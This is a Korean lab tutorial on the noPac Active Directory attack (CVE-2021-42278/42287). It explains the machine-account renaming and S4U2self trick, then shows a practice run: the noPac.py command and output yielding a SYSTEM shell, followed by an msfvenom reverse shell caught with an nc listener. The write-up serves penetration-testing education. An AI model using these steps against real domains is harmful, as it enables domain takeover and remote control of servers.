CVE-2021-42287은 Microsoft의 Active Directory 환경에서 발견된 취약점으로 PAC 정보 없이도 낮은 권한의 사용자가 관리자 권한을 탈취할 수 있는 취약점입니다. 이 취약점을 사용하기 위해서는 CVE-2021-42278이 먼저 선행되어야 합니다. 즉 Microsoft에서 권장하는 패치를 진행하지 않아 CVE-2021-42278, CVE-2021-42287에 취약한 AD 서버라면 공격이 가능합니다. 정리해서 이 공격에 필요한 몇가지 조건은 다음과 같습니다.
CVE-2021-42278에 취약한 AD 환경
CVE-2021-42287에 취약한 AD 환경
MAQ가 1 이상 설정된 환경
MAQ, S4U2self 등의 부가적인 개념들은 소제목 파트에서 알아보고 이 파트에서는 전체적인 공격 시나리오에 대해서 다룹니다.
Active Directory 환경에서 머신 계정, 즉 컴퓨터 계정은 전부 이름 뒤에 $ 기호가 붙습니다. 다시 말해 $ 기호가 존재하지 않는 계정은 일반 계정입니다. MAQ가 1 이상 설정되어 있을 때 사용자는 머신 계정을 생성할 수 있는데이때 Domain Controller의 이름에서 $ 기호만 제거한 채로 동일하게 생성합니다. 예를 들어 DC의 이름이 DC01$라고 한다면 DC01라는 이름의 머신 계정을 생성합니다. 그 다음 DC01 머신 계정을 이용하여 S4U2self를 이용하여 DC로부터 TGT를 발급 받습니다. TGT를 발급받은 이후에는 DC01 머신 계정의 이름을 변경합니다. 이때 변경하는 이름 자체는 중요하지 않지만 변경한다는 것 자체가 중요합니다.
마지막 단계로 이름을 변경 후 DC에 ST 발급 요청을 했을 때 DC는 ST 나와있는 DC01이라는 계정을 더이상 도메인으로부터 찾을 수 없습니다. 우리가 이전 단계에서 DC01이라는 이름을 TGT 발급 이후 변경했기 때문입니다. 이때 S4Uself 매커니즘에서 특이한 현상이 있는데, 도메인으로부터 사용자 이름을 찾을 수 없으면 이름 뒤에 $ 기호를 추가해봅니다. $ 기호를 추가해서 도메인에 질의했을 때, 만약 이번에는 계정이 존재한다면 정상적으로 ST을 발급해줍니다.
현재 시나리오에서 이 이름은 DC01$가 되며 이것은 곧 Domain Controller의 계정명입니다. 즉 ST을 요청할 때 도메인 컨트롤러의 권한으로 요청을 할 수 있기 때문에 컨트롤러 권한을 가진 ST을 발급 요청할 수가 있습니다. 정리하여 이 취약점이 성공했을 시 사용자는 아무런 권한이 없는 일반 사용자 계정에서 관리자 권한을 부여받을 수 있습니다.
MAQ는 위사진에서 볼 수 있듯이 MachineAccountQuota의 약어입니다. Active Directory 환경에서 MAQ는 기본적으로 사용자에게 10이라는 숫자로 부여됩니다. 원래 의미하는 바는 사용자가 해당 도메인 내에생성할 수 있는 머신 계정의 최대 수를 10개로 제한한다는 것이지만, 반대로 말하자면 사용자는 10개 이하의 머신 계정 생성이 가능하다는 것입니다. 이는 일반적인 사용자도 관리자의 도움 없이 도메인에 컴퓨터를 추가할 수 있게 해줍니다.
S4Uself는 Service for User to self의 약어로 MS의 Kerberos 프로토콜에서 제공하는 특별한 티켓 요청 매커니즘입니다. 원래라면 TGT, ST 같은 티켓을 요청할 때 DC에 사용자가 직접적인 요청을 하고 인증 서버로부터 직접 발급을 받는 매커니즘이지만 이것은 서비스 계정이 사용자의 자격증명을 대리로 사용하여 서비스 계정으로 티켓을 발급받을 수 있습니다.
이것이 필요한 이유는 서비스가 사용자를 대신해 서비스 등을 자동화 하기 위함입니다.
Practice
먼저 noPac 취약점에 취약한지 테스트를 해보기 위해서 cme에서 제공하는 noPac 모듈을 사용할 수 있습니다.
페이로드를 삽입했을 때 noPac에 취약하다는 결과를 확인할 수 있습니다. 깃허브로부터 noPac 파이썬 스크립트를 다운로드 하여 가져옵니다.
noPac을 사용할 때 역시 Domain Controller와의 시차가 5분 이상 존재하면 안 되기 때문에 로컬에서 시차를 컨트롤러와 동기화 시켜줍니다.
timedatectl set-ntp off
ntpdate DC-IP
파이썬3을 이용하여 noPac 스크립트를 사용해주는데, 간혹 오류가 발생하면 ldap 프로토콜을 이용하여 공격을 수행합니다. 플래그는 -use-ldap이며 쉘을 획득할 때는 -shell 플래그를 사용해줍니다.
┌──(root㉿kali)-[~/Pentest/noPac]
└─# python3 noPac.py offsec.local/wiki:'password123@' -dc-ip 10.0.2.10 -use-ldap -shell
███ ██ ██████ ██████ █████ ██████
████ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ██ ██ ██████
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc01.offsec.local
[*] Total Domain Admins 3
[*] will try to impersonate wiki
[*] Adding Computer Account "WIN-ODEFYSY2A7V$"
[*] MachineAccount "WIN-ODEFYSY2A7V$" password = $wrKcHuHE9U^
[*] Successfully added machine account WIN-ODEFYSY2A7V$ with password $wrKcHuHE9U^.
[*] WIN-ODEFYSY2A7V$ object = CN=WIN-ODEFYSY2A7V,CN=Computers,DC=offsec,DC=local
[*] WIN-ODEFYSY2A7V$ sAMAccountName == dc01
[*] Saving a DC's ticket in dc01.ccache
[*] Reseting the machine account to WIN-ODEFYSY2A7V$
[*] Restored WIN-ODEFYSY2A7V$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating wiki
[*] Requesting S4U2self
[*] Saving a user's ticket in wiki.ccache
[*] Rename ccache to wiki_dc01.offsec.local.ccache
[*] Attempting to del a computer with the name: WIN-ODEFYSY2A7V$
[*] Delete computer WIN-ODEFYSY2A7V$ successfully!
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
실행이 완료된 이후에는 시스템 쉘을 획득한 것이 확인됩니다. 다만 noPac으로 연결된 쉘은 SMB 쉘로 매우 불안정하며 제한적인 쉘입니다. 따라서 쉘을 조금 더 안정적으로 업그레이드 하기 위해서 미터프리터 혹은 msfvenom을 통한 쉘로 재연결을 할 수 있습니다. 먼저 msfvenom으로 리버스 쉘 실행파일을 생성합니다.
실행파일이 제작되면 파이썬 로컬 서버를 생성하고 Windows 쉘에서는 해당 파일을 가져옵니다. 리버스쉘 실행파일 생성 시 지정했던 포트를 ncat을 통해 열어준 후 서버에서는 이 실행파일을 실행합니다.
C:\\Windows\\system32\\rev.exe
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.10] 60330
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd ..
cd ..
C:\Windows>